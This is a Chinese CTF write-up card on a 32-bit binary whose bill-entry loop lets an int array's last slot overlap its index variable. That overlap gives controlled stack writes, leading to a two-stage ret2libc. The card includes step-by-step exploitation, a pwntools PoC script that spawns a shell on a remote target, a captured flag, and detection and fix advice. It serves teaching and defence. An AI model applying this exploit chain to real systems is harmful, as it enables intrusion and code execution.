账单数组索引循环写栈:v2 与 v1[11] 重叠导致逐 32 位可控写,32 位 ret2libc
ctf/pwn · verified
一句话结论
vul() 用 int v1[11] 接收账单,并在每次输入后执行 v1[++v2] = v1[0],只以输入 0 结束、完全不限制 v2;由于 v1[11] 正好与局部变量 v2 重叠,连续输入可以把 v2 改成更大的索引,之后每轮继续把用户输入的 32 位值写到 v1[v2],从而越过数组写到保存的 ebp、返回地址与参数槽。原文利用非 PIE、地址固定的 32 位程序,先写 target_addr/main_addr/puts_got 泄 libc,再写 system/main_addr/bin_sh 完成 ret2libc,执行 cat flag.txt 取 flag。
原理
- 数组与索引变量重叠:
v1[11]的地址是ebp-0x0C,局部变量v2也在ebp-0x0C;v1[++v2] = v1[0]先自增v2,再写入。当v2增长到 11 时,写入目标正好是v2自己,于是可以把v2改成任意值(受atoi范围和栈可写性限制),下一轮v1[++v2]就跳到任意栈偏移。 - 逐 32 位可控写:每次循环只写一个 dword(
v1[0]的值),但可以连续多轮写不同值,相当于在栈上做“受控的字写入”。这比read大段溢出更隐蔽,但足以逐槽改写保存的 ebp、返回地址和 32 位 cdecl 参数槽。 - 32 位 cdecl 传参:
system的第一个参数在栈上[esp+4],因此 ret2libc 需要在返回地址之后依次放system的返回地址(可填main_addr便于二次进入)与bin_sh指针;原文的“注意传参方式”即指此。 - 非 PIE + 固定地址:程序代码段地址不随机,
target_addr、main_addr、puts@plt、puts@got都可硬编码;libc 基址通过puts(puts_got)泄露后计算。 - 两阶段:第一阶段写
target_addr/main_addr/puts_got,让程序按改写后的栈返回并调用puts(puts_got)(具体target_addr的语义原文未解释,需按二进制确认);第二阶段写system/main_addr/bin_sh,返回后执行system("/bin/sh")。
触发条件
- 程序用固定大小数组 + 自增索引循环接收输入,结束条件只检查输入值(如
if (!v1[0]) break),不检查索引上界。 - 数组最后一个元素与索引变量/其他控制变量在栈上重叠,使攻击者能改写索引。
- 程序为非 PIE 或代码地址可预测,且存在可泄露 libc 的导入函数(如
puts)。 - 目标 libc 版本已知,能计算
system与"/bin/sh"偏移。
利用步骤
- 反编译
vul(),确认v1大小、v2位置与循环写入公式v1[++v2] = v1[0],计算v1[11]是否与v2重叠。 - 用 gdb 在循环后下断,观察
v1起始地址、保存 ebp、返回地址与参数槽相对v1的索引;标出第一个阶段要覆盖的三个槽。 - 按“10 次
1→13→ target_addr → main_addr → puts_got →0”的方式把v2推过数组并写入三个目标槽,触发puts(puts_got)泄 libc。 - 接收 4 字节泄漏,减去
puts在目标 libc 中的偏移得到libc_base;计算system与"/bin/sh"。 - 第二次进入
vul(),以同样方式写system → main_addr → bin_sh,构造 32 位 ret2libc。 - 进入交互后执行
cat flag.txt(原文在 remote 上得到flag{c1jOG9xfapSXmDNQ3WZVPMu7lyAqKCBg})。
PoC
from pwn import *
context(arch='i386', os='linux', log_level='debug')
p = remote('TARGET', PORT)
elf = ELF('./account')
libc = ELF('./libc.so.6')
p.recvuntil(b"Enter your bill, enter 0 to exit:\n")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x80492EB # 原文 main 地址,按二进制确认
target_addr = 0x80490B0 # 原文用于调整返回链的地址/跳板,需按二进制确认
# 阶段 1:把 v2 推过数组,写 target/main/puts_got,返回后 puts(puts_got)
for _ in range(10):
p.sendline(b'1')
p.sendline(b'13')
p.sendline(str(target_addr).encode())
p.sendline(str(main_addr).encode())
p.sendline(str(puts_got).encode())
p.sendline(b'0')
p.recvuntil(b"Recording completed\n")
libc.address = u32(p.recv(4)) - 0x6d1e0 # puts 偏移按目标 libc 调整
# 阶段 2:写 system/main/bin_sh,ret2libc
p.recvuntil(b"Enter your bill, enter 0 to exit:\n")
for _ in range(10):
p.sendline(b'1')
p.sendline(b'13')
p.sendline(str(libc.sym['system']).encode())
p.sendline(str(main_addr).encode())
p.sendline(str(next(libc.search(b'/bin/sh\x00'))).encode())
p.sendline(b'0')
p.interactive()
说明:原文的 target_addr/main_addr 具体角色未在文中解释,脚本按原值复现;实际偏移、槽位顺序与 libc 偏移需用 gdb 和目标 libc 校准。该卡因原文细节不足标 confidence: low。
变体与关联
- 变体:索引变量放在数组之前/之后、或与数组某元素重叠,都可以用“先改写索引、再继续写”扩大写入范围。
- 变体:若写入是按字节/半字,可做更精细的栈布局;若循环上限固定(如 10 次),需一次写多个槽或分阶段进入函数。
- 变体:无
puts泄露时可改用write/printf/格式化字符串;无system时可走 ORW/ROP。 - 关联:[[binary-pwn-stack-sparse-word-write-struct-field-rewrite-ret2libc]](稀疏字写栈+两阶段 ret2libc)、[[binary-pwn-stack-ret2libc-no-binsh-gets-bss-two-stage]](32 位两阶段 ret2libc)、[[ctf-pwn-int-array-oob-index-ret-overwrite]](整数数组越界写返回地址)。
- 边界:若编译器把
v2放到寄存器或数组与v2之间插入 padding,重叠不成立;若栈有 canary,需先泄露/绕过。
检测与防御
- 检测(逆向侧):
scanf("%d", arr)+arr[++idx] = arr[0]的循环、只检查输入值不检查 idx、数组末尾与局部变量重叠,都是可写索引溢出的强特征。 - 修复:索引使用无符号类型并检查
idx < sizeof(arr)/sizeof(arr[0]);输入长度与循环次数做上限;把数组与索引变量分开布局,避免重叠。 - 加固:开启 PIE/Canary/NX/Full RELRO;对关键输入函数做边界测试;避免用用户输入作为数组索引。